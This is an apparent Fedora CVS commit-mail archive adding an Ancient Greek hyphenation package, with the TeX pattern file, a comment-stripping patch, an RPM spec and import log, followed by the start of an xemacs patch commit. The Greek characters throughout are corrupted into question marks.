4?' 4?? 4?? 
4?' 4?? 4?? 
4?' 4?? 4?? 
4?' 4?? 4?? 
4?' 4?? 4?? 
[...1710 lines suppressed...]
????3?2?????. ????3?2?????. ????3?2?????. ????3?2?????. 
????3?2?????. ????3?2?????. 
????3?2????. ????3?2????. ????3?2????. ????3?2????. 
????3?2?????. ????3?2?????. 
.????2?1? .????2?1?   % pleon-'ekthma 
.????2?1? 
.?????2?1 .?????2?1   % proeis-'agw 
.????2?1   % proek-l'egw 
.????2?1   % proen-'arqomai 
.????2?1   % proex-agg'elw 
.????2?1 .????2?1   % pro'ex-eimi 
.???2?1 .???2?1 
.???3?2?? .???3?2?? .???3?2?? .???3?2??   % pro-s'abbatoc 
.???3?2?? .???3?2?? 
.??????2?1 .??????2?1   % proseis-pr'assw, k.lp. 
.???3?2?? .???3?2?? .???3?2?? .???3?2??   % pro-se'iw, pro-s'eseisa, pro-sese'isjhn 
.???3?2???? .???3?2???? .???3?2???? .???3?2???? 
.???3?2???? .???3?2???? .???3?2???? .???3?2???? 
.?????2?1 .?????2?1   % prosen-equr'azw 
.?????2?1 .?????2?1   % prosex-air'eomai 
.???3?2?? .???3?2?? .???3?2?? .???3?2??   % pr'o-sjioc 
.???3?2?? .???3?2?? .???3?2?? .???3?2?? 
.???4?3??? .???4?3???   % pro-sjigg'aw 
.???3?2??? .???3?2??? .???3?2??? .???3?2???   % pr'o-skopoc != pros-k'optw 
.???3?2??? .???3?2??? .???3?2??? .???3?2??? 
.???3?2??? .???3?2???   % pro-stas'ia 
.???3?2??? .???3?2??? .???3?2??? .???3?2???   % pro-st'athc 
.???3?2??? .???3?2???   % pro-state'uw 
.???3?2??? .???3?2???   % pro-staur'ow 
.???3?2??? .???3?2??? .???3?2??? .???3?2???   % pro-ste'iqw 
.???3?2??? .???3?2???   % pro-sten'azw 
.???3?2??? .???3?2??? .???3?2??? .???3?2???   % pro-st'enw 
.???3?2???? .???3?2????   % pro-stern'idio 
.???3?2???? .???3?2???? .???3?2???? .???3?2????   % pr'o-sternon 
.???3?2???? .???3?2???? .???3?2???? .???3?2???? 
.???3?2??? .???3?2??? .???3?2??? .???3?2???   % pro-st'hsac 
.???3?2??? .???3?2??? .???3?2??? .???3?2???   % pro-st'omion 
.???3?2??? .???3?2??? 
.???3?2?? .???3?2?? .???3?2?? .???3?2??   % pr'o-stw|on 
.???3?2?? .???3?2?? 
.???3?2?? .???3?2??   % pro-sugg'ignomai 
.???3?2?? .???3?2??   % pro-summ'isgw 
.???3?2?2?1 .???3?2?2?1   % pro-sun-oik'ew 
.???3?2???? .???3?2???? .???3?2???? .???3?2????   % pr'o-sfagma 
.???3?2???? .???3?2???? .???3?2???? .???3?2???? 
.???3?2??? .???3?2??? .???3?2??? .???3?2???   % pro-sf'azw 
.???3?2???? .???3?2???? .???3?2???? .???3?2????   % pro-sf'attw 
.???3?2??? .???3?2??? .???3?2??? .???3?2???   % pr'o-sqhma 
.???3?2??? .???3?2??? .???3?2??? .???3?2??? 
.???3?2?. .???3?2?. .???3?2?. .???3?2?. 
.???3?2????. .???3?2????. .???3?2????. .???3?2????. 
.???3?2?? .???3?2?? .???3?2?? .???3?2??   % pro-s'wtatoc 
.???3?2?? .???3?2?? 
.??????2?1   % pro"upex-orm'aw 
.??2?1?? .??2?1??   % pur-'agra 
.??2?1?? 
.??2?1??? .??2?1???   % pur-a'ijw 
.??2?1???   % pur-aij'onwn (gen. plhj. to~u pur-a'ijwn) 
.??2?1??   % pur-~hjon (pur-a'ijw) 
.??2?1??   % pur-hj'ethn??? (pur-a'ijw) 
.??2?1?? .??2?1??   % pur-'hjomen??? (pur-a'ijw) 
.??2?1??   % pur-akt'ew 
.??2?1?? .??2?1??   % p'ur-auloc 
.??2?1?? .??2?1?? 
.??2?1??   % pur-aug'hc 
.??2?1???? .??2?1????   % pur-'hnemoc 
.??2?1???? .??2?1???? 
.??2?1??   % pur-wp'oc 
.????2?1?? .????2?1?? .????2?1?? .????2?1??   % selas-f'oroc 
.????2?1?? .????2?1?? 
.????????2?1 .????????2?1   % sumpareis-'erqomai 
.??2?1 .??2?1 
.??2?1 .??2?1 .??2?1 .??2?1   % s'un-auloc, k.>'a.<'o. 
.??????2?1 .??????2?1 .??????2?1 .??????2?1   % sundi'ex-eimi 
.??????2?1 .??????2?1   % sundiex-i'enai 
.?????2?1 .?????2?1   % sundus-tuq'ew 
.????2?1 .????2?1   % sunex-'agw 
.???????2?1? .???????2?1?   % tessares-ka'ideka 
.????2?1? .????2?1?   % treic-ka'ideka 
.???2?1 .???2?1 
.???3?2?? .???3?2?? .???3?2?? .???3?2??   % tri-sm'oc 
.???3?2?? .???3?2?? 
.???3?2?? .???3?2?? 
.???3?2? .???3?2?   % tri-sp'ijamoc 
.???3?2? .???3?2? .???3?2? .???3?2?   % tr'i-stegoc 
.???3?2? .???3?2? 
.???3?2? .???3?2? .???3?2? .???3?2?   % tri-s'wmatoc 
.???3?2? .???3?2? 
??2?1? ??2?1?   % <uos-k'uamoc 
????2?1 ????2?1 ????2?1 ????2?1 
????2?1 ????2?1 
????3?2?? ????3?2?? ????3?2?? ????3?2??   % <upe'i-sac = <ufe'i-sac <- <uf'ihmi 
????3?2?? ????3?2?? 
????3?2?? ????3?2?? ????3?2?? ????3?2?? 
????3?2?? ????3?2?? ????3?2?? ????3?2?? 
????3?2?? ????3?2?? ????3?2?? ????3?2?? 
???2?1???   % <upek-lamb'anw 
???2?1??? ???2?1???   % <upek-l'hyomai 
???2?1?   % <upek-tan'uw <upek-t'ijhmi <upek-tr'epw 
???2?1 
???2?1 
???2?1 
???2?1 ???2?1 
???3?2?. ???3?2?.   % <up'e-ra 
???3?2??. ???3?2??. ???3?2??. ???3?2??. 
???3?2??. ???3?2??. 
???3?2?. ???3?2?. 
???3?2??. ???3?2??. 
???3?2??. ???3?2??. 
???3?2??. 
???3?2???. ???3?2???. ???3?2???. ???3?2???. 
???3?2???. ???3?2???. 
???3?2??. ???3?2??. ???3?2??. ???3?2??. 
???3?2??. ???3?2??. 
???3?2??   % <upe-rej'izw <upe-r'ejison 
???3?2?? ???3?2?? 
???3?2?? ???3?2??   % <upe-re'idw <upe-re'ipw 
???3?2?? ???3?2??   % <up'e-rujroc 
???3?2?? ???3?2?? 
???3?2??   % <upe-rujr'ew 
?????2?1??   % <uperek-te'inw 
?????2?1?? ?????2?1??   % <uperek-t'inw 
???3?2??? ???3?2???   % <upe-r'eptw, <upe-r'eyw 
???3?2??? 
???3?2?? ???3?2?? 
???3?2?? 
???3?2?? ???3?2??   % <upe-r'ew (-~w) <- <upe~ipon 
???3?2? 
???3?2?? ???3?2?? 
???3?2???. ???3?2???. 
???3?2???. 
???3?2??. 
???3?2?? ???3?2?? 
???3?2?? 
???3?2??? 
???3?2? ???3?2?   % <upe-r'w|a 
???3?2?   % <upe-rw'ew 
?2?1?? ?2?1??   % <'us-trix 
?2?1?? ?2?1??   % <us-triq'ic 
.???2?1? .???2?1?   % faes-f'oroc 
.??2?1? .??2?1?   % fws-f'oroc 
.????2?1???? .????2?1????   % qar'is-androc 
.????2?1???? .????2?1???? .????2?1???? .????2?1???? 
.???2?1?? .???2?1??   % qeir-'agra 
.???2?1??   % qeir-agwg'oc 
.???2?1??   % qeir-apt'azw 
.???2?1??   % qeir-ay'ia 
.???2?1??   % qeir-ourg'oc 
.???2?1??   % qeir-~wnax 
.???2?1?? .???2?1?? 
.???2?1?? 
.??2?1???   % qhn-al'wphx 
?2?1?2?1??. ?2?1?2?1??. ?2?1?2?1??. ?2?1?2?1??.   % <ws-an-e'i 
?2?1?2?1??. ?2?1?2?1??. 
?2?1?????. ?2?1?????. ?2?1?????. ?2?1?????.   % <ws-a'utwc 
?2?1?????. ?2?1?????. 
?2?1??. ?2?1??. ?2?1??. ?2?1??.   % <ws-e'i 
?2?1??. ?2?1??. 
?2?1???. ?2?1???.   % <'ws-per 
?2?1??2?1??. ?2?1??2?1??. ?2?1??2?1??. ?2?1??2?1??.   % <ws-per-e'i 
?2?1??2?1??. ?2?1??2?1??. 
?2?1?? ?2?1??   % <'ws-te 
%%%%
%%%% 
?2?1??????. ?2?1??????. ?2?1??????. ?2?1??????.   % dis-q'ilioi, k.>'a.<'o. 
?2?1??????. ?2?1??????. ?2?1??????. ?2?1??????. 
?2?1???????. ?2?1???????. ?2?1???????. ?2?1???????. 
?2?1???????. ?2?1???????. 
?2?1???????. ?2?1???????. ?2?1???????. ?2?1???????. 
?2?1???????. ?2?1???????. 
?2?1??????. ?2?1??????. ?2?1??????. ?2?1??????. 
?2?1???????. ?2?1???????. ?2?1???????. ?2?1???????. 
?2?1???????. ?2?1???????. 
?2?1??????. ?2?1??????. ?2?1??????. ?2?1??????. 
?2?1??????. ?2?1??????. 
?2?1?????. ?2?1?????. ?2?1?????. ?2?1?????. 
%
?2?1??????. ?2?1??????. ?2?1??????. ?2?1??????.   % dis-m'urioi, k.>'a.<'o. 
?2?1??????. ?2?1??????. ?2?1??????. ?2?1??????. 
?2?1???????. ?2?1???????. ?2?1???????. ?2?1???????. 
?2?1???????. ?2?1???????. 
?2?1???????. ?2?1???????. ?2?1???????. ?2?1???????. 
?2?1???????. ?2?1???????. 
?2?1??????. ?2?1??????. ?2?1??????. ?2?1??????. 
?2?1???????. ?2?1???????. ?2?1???????. ?2?1???????. 
?2?1???????. ?2?1???????. 
?2?1??????. ?2?1??????. ?2?1??????. ?2?1??????. 
?2?1??????. ?2?1??????. 
?2?1?????. ?2?1?????. ?2?1?????. ?2?1?????. 
%
?2?1??????? ?2?1???????   % dis-qiliost'oc, k.>'a.<'o. 
%
?2?1??????? ?2?1???????   % dis-muriost'oc, k.>'a.<'o. 
%
?2?1????????. ?2?1????????. ?2?1????????. ?2?1????????.   % dis-qili'akic, k.>'a.<'o. 
?2?1????????. ?2?1????????. 
%
?2?1????????. ?2?1????????. ?2?1????????. ?2?1????????.   % dis-muri'akic, k.>'a.<'o. 
?2?1????????. ?2?1????????. 
}

hyphen-grc-cleantex.patch:
 hyph-grc.tex | 1519 +++++++++++++++++++++++++++++------------------------------
 1 file changed, 759 insertions(+), 760 deletions(-)

--- NEW FILE hyphen-grc-cleantex.patch ---
--- hyph-grc.tex.clean	2009-10-14 10:09:19.000000000 +0100
+++ hyph-grc.tex	2009-10-14 10:33:38.000000000 +0100
@@ -31,7 +31,7 @@
 %
 % \message{UTF-8 hyphenation patterns for Ancient Greek}
 %
-\patterns{%
+
 %%%% vowels
 %-- Vowel patterns (pre-combined)
 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 ?1 
@@ -234,7 +234,7 @@
 2?1? 
 2?1? 
 2?1? 
-2?1?   %%%TS%%% 
+2?1? 
 2?1? 2?1? 
 2?1? 
 2?1? 
@@ -279,7 +279,7 @@
 2?1? 
 2?1? 
 %
-2?1?   % Liddell-Scott lexicon: Zbelgo~urdoc ??? 
+2?1? 
 2?1? 
 2?1? 
 2?1? 
@@ -419,7 +419,7 @@
 2?1? 
 %
 % 2s1g % Liddell-Scott lexicon: sg'alh = sk'ala
-2?1? 2?1?   % Liddell-Scott lexicon: sde'ugla = ze'ugla, sd = z ??? 
+2?1? 2?1? 
 2?1? 2?1? 
 2?1? 2?1? 
 2?1? 2?1? 
@@ -544,23 +544,23 @@
 %%%%
 %%%% check for ??? for problematic words!
 %
-???2?1?? ???2?1??   % >agwn-'arqhc 
+???2?1?? ???2?1?? 
 ???2?1?? 
-????2?1 ????2?1   % >adi'ex-odoc 
+????2?1 ????2?1 
 ????2?1 
-???2?1? ???2?1? ???2?1? ???2?1?   % >adus-'wphtoc 
+???2?1? ???2?1? ???2?1? ???2?1? 
 ???2?1? ???2?1? 
-???2?1 ???2?1 ???2?1 ???2?1   % <al'os-anjoc 
+???2?1 ???2?1 ???2?1 ???2?1 
 ???2?1 ???2?1 
-??????2?1 ??????2?1   % >ampal'in-orroc 
+??????2?1 ??????2?1 
 ??????2?1 
-????2?1? ????2?1? ????2?1? ????2?1?   % >amf'is-baina 
+????2?1? ????2?1? ????2?1? ????2?1? 
 ????2?1? ????2?1? 
 % >hmfe2s1b 		% (>a'or. to~u >amfisbht~w) ???
 % >hmfi2s1b
-????2?1? ????2?1? ????2?1? ????2?1?   % >amf'is-wpoc 
+????2?1? ????2?1? ????2?1? ????2?1? 
 ????2?1? ????2?1? ????2?1? ????2?1? 
-?2?1????. ?2?1????. ?2?1????. ?2?1????.   % >an-ag'hc 
+?2?1????. ?2?1????. ?2?1????. ?2?1????. 
 ?2?1????. ?2?1????. 
 ?2?1????. ?2?1????. 
 ?2?1????. 
@@ -576,192 +576,192 @@
 ?2?1????. 
 ?2?1????? ?2?1????? ?2?1????? ?2?1????? 
 ?2?1??? 
-?2?1???? ?2?1????   % >an-'agkuloc 
+?2?1???? ?2?1???? 
 ?2?1???? ?2?1???? 
-?2?1???   % >'anagnoc 
+?2?1??? 
 ?2?1??? ?2?1??? 
-?2?1???   % >an-agne'ia 
-?3?2???? ?3?2????   % >ana-gn'amptw 
-?3?2????   % >ana-gnwr'izw 
-?3?2???? ?3?2????   % >an'a-gnwsic 
+?2?1??? 
+?3?2???? ?3?2???? 
+?3?2???? 
+?3?2???? ?3?2???? 
 ?3?2???? ?3?2???? 
-?2?1???? ?2?1????   % >an-agr'ia 
-?2?1????   % >an-agr~iai 
-?2?1????   % >an-agri~wn 
-?2?1???? ?2?1????   % >an-'agwgoc 
+?2?1???? ?2?1???? 
+?2?1???? 
+?2?1???? 
+?2?1???? ?2?1???? 
 ?2?1???? ?2?1???? 
-?3?2????? ?3?2?????   % >ana-g'wgioc 
+?3?2????? ?3?2????? 
 ?3?2????? ?3?2????? 
-?4?3?????? ?4?3??????   % >an-agwg'ia 
-?2?1???? ?2?1????   % >an-'adelfoc 
+?4?3?????? ?4?3?????? 
+?2?1???? ?2?1???? 
 ?2?1???? ?2?1???? 
-?2?1???? ?2?1????   % >an-'aelptoc 
+?2?1???? ?2?1???? 
 ?2?1???? ?2?1???? 
-?2?1???   % >'an-ajloc 
+?2?1??? 
 ?2?1??? ?2?1??? 
-?2?1??? ?2?1???   % >an-a'ideia 
-?2?1???   % >an-aid'hc 
-?2?1???   % >'an-aimoc 
+?2?1??? ?2?1??? 
+?2?1??? 
+?2?1??? 
 ?2?1??? ?2?1??? 
-?2?1???   % >an-aim'ia 
-?2?1???? ?2?1???? ?2?1???? ?2?1????   % >an-a'isjhtoc 
+?2?1??? 
+?2?1???? ?2?1???? ?2?1???? ?2?1???? 
 ?2?1???? ?2?1???? 
-?2?1???? ?2?1????   % >an-aisim'ow 
+?2?1???? ?2?1???? 
 ?2?1???? ?2?1???? ?2?1???? ?2?1???? 
-?2?1???? ?2?1???? ?2?1???? ?2?1????   % >an-a'isquntoc 
+?2?1???? ?2?1???? ?2?1???? ?2?1???? 
 ?2?1???? ?2?1???? 
-?2?1??? ?2?1???   % >an-a'itioc 
+?2?1??? ?2?1??? 
 ?2?1??? 
-?2?1???? ?2?1????   % >an-'akanjoc 
+?2?1???? ?2?1???? 
 ?2?1???? ?2?1???? 
-?2?1????? ?2?1?????   % >an-ak'oloujoc 
+?2?1????? ?2?1????? 
 ?2?1????? 
-?2?1???   % >an-alg'hc 
-?2?1???   % >an-ald'hc 
-?3?2????   % >anal-da'inw 
-?3?2?????? ?3?2?????? ?3?2?????? ?3?2??????   % >anal-d'hskw 
-?2?1????? ?2?1?????   % >an-'aleiptoc 
+?2?1??? 
+?2?1??? 
+?3?2???? 
+?3?2?????? ?3?2?????? ?3?2?????? ?3?2?????? 
+?2?1????? ?2?1????? 
 ?2?1????? ?2?1????? 
-?2?1?????   % >an-aleif'ih 
-?2?1????? ?2?1?????   % >an-'aleifoc 
+?2?1????? 
+?2?1????? ?2?1????? 
 ?2?1????? ?2?1????? 
-?2?1???? ?2?1????   % >an-al'hjhc 
+?2?1???? ?2?1???? 
 ?2?1???? 
-?2?1??? ?2?1???   % >an-'aljhtoc 
+?2?1??? ?2?1??? 
 ?2?1??? 
-?2?1???? ?2?1????   % >an-'alipoc 
+?2?1???? ?2?1???? 
 ?2?1???? ?2?1???? 
-?2?1????? ?2?1????? ?2?1????? ?2?1?????   % >an-'alistoc 
+?2?1????? ?2?1????? ?2?1????? ?2?1????? 
 ?2?1????? ?2?1????? ?2?1????? ?2?1????? 
-?2?1???   % >an-alk'hc 
-?2?1???   % >an-'alkic 
+?2?1??? 
+?2?1??? 
 ?2?1??? ?2?1??? 
-?2?1??? ?2?1???   % >an-'allaktoc 
+?2?1??? ?2?1??? 
 ?2?1??? 
-?3?2???? ?3?2????   % an'al-lomai 
+?3?2???? ?3?2???? 
 ?3?2???? ?3?2???? 
-?2?1???   % >'an-almoc 
-?2?1??? ?2?1???   % >an-'almuroc 
+?2?1??? 
+?2?1??? ?2?1??? 
 ?2?1??? 
-?2?1???   % >'an-aloc 
+?2?1??? 
 ?2?1???? ?2?1???? 
 ?2?1???. ?2?1???. 
 ?2?1???. 
 ?2?1???? ?2?1???? 
 ?2?1????. ?2?1????. 
-?2?1???   % >'an-altoc 
+?2?1??? 
 ?2?1??? ?2?1??? 
-?2?1???? ?2?1????   % >an-am'axeutoc 
+?2?1???? ?2?1???? 
 ?2?1???? 
-?2?1????? ?2?1?????   % >an-am'arthtoc 
+?2?1????? ?2?1????? 
 ?2?1????? 
[...1873 lines suppressed...]
+.???3?2?? .???3?2?? .???3?2?? .???3?2?? 
 .???3?2?? .???3?2?? 
-.??????2?1   % pro"upex-orm'aw 
-.??2?1?? .??2?1??   % pur-'agra 
+.??????2?1 
+.??2?1?? .??2?1?? 
 .??2?1?? 
-.??2?1??? .??2?1???   % pur-a'ijw 
-.??2?1???   % pur-aij'onwn (gen. plhj. to~u pur-a'ijwn) 
-.??2?1??   % pur-~hjon (pur-a'ijw) 
-.??2?1??   % pur-hj'ethn??? (pur-a'ijw) 
-.??2?1?? .??2?1??   % pur-'hjomen??? (pur-a'ijw) 
-.??2?1??   % pur-akt'ew 
-.??2?1?? .??2?1??   % p'ur-auloc 
+.??2?1??? .??2?1??? 
+.??2?1??? 
+.??2?1?? 
+.??2?1?? 
+.??2?1?? .??2?1?? 
+.??2?1?? 
+.??2?1?? .??2?1?? 
 .??2?1?? .??2?1?? 
-.??2?1??   % pur-aug'hc 
-.??2?1???? .??2?1????   % pur-'hnemoc 
+.??2?1?? 
+.??2?1???? .??2?1???? 
 .??2?1???? .??2?1???? 
-.??2?1??   % pur-wp'oc 
-.????2?1?? .????2?1?? .????2?1?? .????2?1??   % selas-f'oroc 
+.??2?1?? 
+.????2?1?? .????2?1?? .????2?1?? .????2?1?? 
 .????2?1?? .????2?1?? 
-.????????2?1 .????????2?1   % sumpareis-'erqomai 
+.????????2?1 .????????2?1 
 .??2?1 .??2?1 
-.??2?1 .??2?1 .??2?1 .??2?1   % s'un-auloc, k.>'a.<'o. 
-.??????2?1 .??????2?1 .??????2?1 .??????2?1   % sundi'ex-eimi 
-.??????2?1 .??????2?1   % sundiex-i'enai 
-.?????2?1 .?????2?1   % sundus-tuq'ew 
-.????2?1 .????2?1   % sunex-'agw 
-.???????2?1? .???????2?1?   % tessares-ka'ideka 
-.????2?1? .????2?1?   % treic-ka'ideka 
+.??2?1 .??2?1 .??2?1 .??2?1 
+.??????2?1 .??????2?1 .??????2?1 .??????2?1 
+.??????2?1 .??????2?1 
+.?????2?1 .?????2?1 
+.????2?1 .????2?1 
+.???????2?1? .???????2?1? 
+.????2?1? .????2?1? 
 .???2?1 .???2?1 
-.???3?2?? .???3?2?? .???3?2?? .???3?2??   % tri-sm'oc 
+.???3?2?? .???3?2?? .???3?2?? .???3?2?? 
 .???3?2?? .???3?2?? 
 .???3?2?? .???3?2?? 
-.???3?2? .???3?2?   % tri-sp'ijamoc 
-.???3?2? .???3?2? .???3?2? .???3?2?   % tr'i-stegoc 
+.???3?2? .???3?2? 
+.???3?2? .???3?2? .???3?2? .???3?2? 
 .???3?2? .???3?2? 
-.???3?2? .???3?2? .???3?2? .???3?2?   % tri-s'wmatoc 
+.???3?2? .???3?2? .???3?2? .???3?2? 
 .???3?2? .???3?2? 
-??2?1? ??2?1?   % <uos-k'uamoc 
+??2?1? ??2?1? 
 ????2?1 ????2?1 ????2?1 ????2?1 
 ????2?1 ????2?1 
-????3?2?? ????3?2?? ????3?2?? ????3?2??   % <upe'i-sac = <ufe'i-sac <- <uf'ihmi 
+????3?2?? ????3?2?? ????3?2?? ????3?2?? 
 ????3?2?? ????3?2?? 
 ????3?2?? ????3?2?? ????3?2?? ????3?2?? 
 ????3?2?? ????3?2?? ????3?2?? ????3?2?? 
 ????3?2?? ????3?2?? ????3?2?? ????3?2?? 
-???2?1???   % <upek-lamb'anw 
-???2?1??? ???2?1???   % <upek-l'hyomai 
-???2?1?   % <upek-tan'uw <upek-t'ijhmi <upek-tr'epw 
+???2?1??? 
+???2?1??? ???2?1??? 
+???2?1? 
 ???2?1 
 ???2?1 
 ???2?1 
 ???2?1 ???2?1 
-???3?2?. ???3?2?.   % <up'e-ra 
+???3?2?. ???3?2?. 
 ???3?2??. ???3?2??. ???3?2??. ???3?2??. 
 ???3?2??. ???3?2??. 
 ???3?2?. ???3?2?. 
@@ -2021,19 +2021,19 @@
 ???3?2???. ???3?2???. 
 ???3?2??. ???3?2??. ???3?2??. ???3?2??. 
 ???3?2??. ???3?2??. 
-???3?2??   % <upe-rej'izw <upe-r'ejison 
+???3?2?? 
 ???3?2?? ???3?2?? 
-???3?2?? ???3?2??   % <upe-re'idw <upe-re'ipw 
-???3?2?? ???3?2??   % <up'e-rujroc 
+???3?2?? ???3?2?? 
+???3?2?? ???3?2?? 
 ???3?2?? ???3?2?? 
-???3?2??   % <upe-rujr'ew 
-?????2?1??   % <uperek-te'inw 
-?????2?1?? ?????2?1??   % <uperek-t'inw 
-???3?2??? ???3?2???   % <upe-r'eptw, <upe-r'eyw 
+???3?2?? 
+?????2?1?? 
+?????2?1?? ?????2?1?? 
+???3?2??? ???3?2??? 
 ???3?2??? 
 ???3?2?? ???3?2?? 
 ???3?2?? 
-???3?2?? ???3?2??   % <upe-r'ew (-~w) <- <upe~ipon 
+???3?2?? ???3?2?? 
 ???3?2? 
 ???3?2?? ???3?2?? 
 ???3?2???. ???3?2???. 
@@ -2042,36 +2042,36 @@
 ???3?2?? ???3?2?? 
 ???3?2?? 
 ???3?2??? 
-???3?2? ???3?2?   % <upe-r'w|a 
-???3?2?   % <upe-rw'ew 
-?2?1?? ?2?1??   % <'us-trix 
-?2?1?? ?2?1??   % <us-triq'ic 
-.???2?1? .???2?1?   % faes-f'oroc 
-.??2?1? .??2?1?   % fws-f'oroc 
-.????2?1???? .????2?1????   % qar'is-androc 
+???3?2? ???3?2? 
+???3?2? 
+?2?1?? ?2?1?? 
+?2?1?? ?2?1?? 
+.???2?1? .???2?1? 
+.??2?1? .??2?1? 
+.????2?1???? .????2?1???? 
 .????2?1???? .????2?1???? .????2?1???? .????2?1???? 
-.???2?1?? .???2?1??   % qeir-'agra 
-.???2?1??   % qeir-agwg'oc 
-.???2?1??   % qeir-apt'azw 
-.???2?1??   % qeir-ay'ia 
-.???2?1??   % qeir-ourg'oc 
-.???2?1??   % qeir-~wnax 
+.???2?1?? .???2?1?? 
+.???2?1?? 
+.???2?1?? 
+.???2?1?? 
+.???2?1?? 
+.???2?1?? 
 .???2?1?? .???2?1?? 
 .???2?1?? 
-.??2?1???   % qhn-al'wphx 
-?2?1?2?1??. ?2?1?2?1??. ?2?1?2?1??. ?2?1?2?1??.   % <ws-an-e'i 
+.??2?1??? 
+?2?1?2?1??. ?2?1?2?1??. ?2?1?2?1??. ?2?1?2?1??. 
 ?2?1?2?1??. ?2?1?2?1??. 
-?2?1?????. ?2?1?????. ?2?1?????. ?2?1?????.   % <ws-a'utwc 
+?2?1?????. ?2?1?????. ?2?1?????. ?2?1?????. 
 ?2?1?????. ?2?1?????. 
-?2?1??. ?2?1??. ?2?1??. ?2?1??.   % <ws-e'i 
+?2?1??. ?2?1??. ?2?1??. ?2?1??. 
 ?2?1??. ?2?1??. 
-?2?1???. ?2?1???.   % <'ws-per 
-?2?1??2?1??. ?2?1??2?1??. ?2?1??2?1??. ?2?1??2?1??.   % <ws-per-e'i 
+?2?1???. ?2?1???. 
+?2?1??2?1??. ?2?1??2?1??. ?2?1??2?1??. ?2?1??2?1??. 
 ?2?1??2?1??. ?2?1??2?1??. 
-?2?1?? ?2?1??   % <'ws-te 
+?2?1?? ?2?1?? 
 %%%%
 %%%% 
-?2?1??????. ?2?1??????. ?2?1??????. ?2?1??????.   % dis-q'ilioi, k.>'a.<'o. 
+?2?1??????. ?2?1??????. ?2?1??????. ?2?1??????. 
 ?2?1??????. ?2?1??????. ?2?1??????. ?2?1??????. 
 ?2?1???????. ?2?1???????. ?2?1???????. ?2?1???????. 
 ?2?1???????. ?2?1???????. 
@@ -2084,7 +2084,7 @@
 ?2?1??????. ?2?1??????. 
 ?2?1?????. ?2?1?????. ?2?1?????. ?2?1?????. 
 %
-?2?1??????. ?2?1??????. ?2?1??????. ?2?1??????.   % dis-m'urioi, k.>'a.<'o. 
+?2?1??????. ?2?1??????. ?2?1??????. ?2?1??????. 
 ?2?1??????. ?2?1??????. ?2?1??????. ?2?1??????. 
 ?2?1???????. ?2?1???????. ?2?1???????. ?2?1???????. 
 ?2?1???????. ?2?1???????. 
@@ -2097,13 +2097,12 @@
 ?2?1??????. ?2?1??????. 
 ?2?1?????. ?2?1?????. ?2?1?????. ?2?1?????. 
 %
-?2?1??????? ?2?1???????   % dis-qiliost'oc, k.>'a.<'o. 
+?2?1??????? ?2?1??????? 
 %
-?2?1??????? ?2?1???????   % dis-muriost'oc, k.>'a.<'o. 
+?2?1??????? ?2?1??????? 
 %
-?2?1????????. ?2?1????????. ?2?1????????. ?2?1????????.   % dis-qili'akic, k.>'a.<'o. 
+?2?1????????. ?2?1????????. ?2?1????????. ?2?1????????. 
 ?2?1????????. ?2?1????????. 
 %
-?2?1????????. ?2?1????????. ?2?1????????. ?2?1????????.   % dis-muri'akic, k.>'a.<'o. 
+?2?1????????. ?2?1????????. ?2?1????????. ?2?1????????. 
 ?2?1????????. ?2?1????????. 
-}


--- NEW FILE hyphen-grc.spec ---
Name: hyphen-grc
Summary: Ancient Greek hyphenation rules
%define upstreamid 20080616
Version: 0.%{upstreamid}
Release: 1%{?dist}
Source: http://tug.org/svn/texhyphen/trunk/hyph-utf8/tex/generic/hyph-utf8/patterns/hyph-grc.tex
Group: Applications/Text
URL: http://tug.org/tex-hyphen
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
License: LPPL
BuildArch: noarch
BuildRequires: hyphen-devel
Requires: hyphen
Patch0: hyphen-grc-cleantex.patch

%description
Ancient Greek hyphenation rules.

%prep
%setup -T -q -c -n hyphen-grc
cp -p %{SOURCE0} .
%patch0 -p0 -b .clean

%build
grep -v "^%" hyph-grc.tex | tr ' ' '\n' > temp.tex
substrings.pl temp.tex temp.dic UTF-8
LANG=el_GR.utf8 uniq temp.dic > hyph_grc_GR.dic
echo "created with substring.pl by substrings.pl hyph-grc.tex hyph_grc_GR.dic UTF-8" > README
echo "---" >> README
head -n 33 hyph-grc.tex >> README

%install
rm -rf $RPM_BUILD_ROOT
mkdir -p $RPM_BUILD_ROOT/%{_datadir}/hyphen
cp -p hyph_grc_GR.dic $RPM_BUILD_ROOT/%{_datadir}/hyphen

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc README
%{_datadir}/hyphen/*

%changelog
* Wed Oct 14 2009 Caolan McNamara <caolanm at redhat.com> - 0.20080616-1
- initial version


--- NEW FILE import.log ---
hyphen-grc-0_20080616-1_fc11:HEAD:hyphen-grc-0.20080616-1.fc11.src.rpm:1255643402



From jjames at fedoraproject.org  Thu Oct 15 21:52:03 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Thu, 15 Oct 2009 21:52:03 +0000 (UTC)
Subject: rpms/xemacs-packages-base/F-10
	xemacs-packages-base-20090901-mule-480845.patch, 1.1, 1.2
Message-ID: <20091015215203.4D63C11C00DB@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/xemacs-packages-base/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29994/F-10

Modified Files:
	xemacs-packages-base-20090901-mule-480845.patch 
Log Message:
Let's try committing the fixed patch instead of the original.


xemacs-packages-base-20090901-mule-480845.patch:
 ChangeLog    |    7 +++++
 mule-util.el |   69 -----------------------------------------------------------
 2 files changed, 7 insertions(+), 69 deletions(-)

Index: xemacs-packages-base-20090901-mule-480845.patch
===================================================================
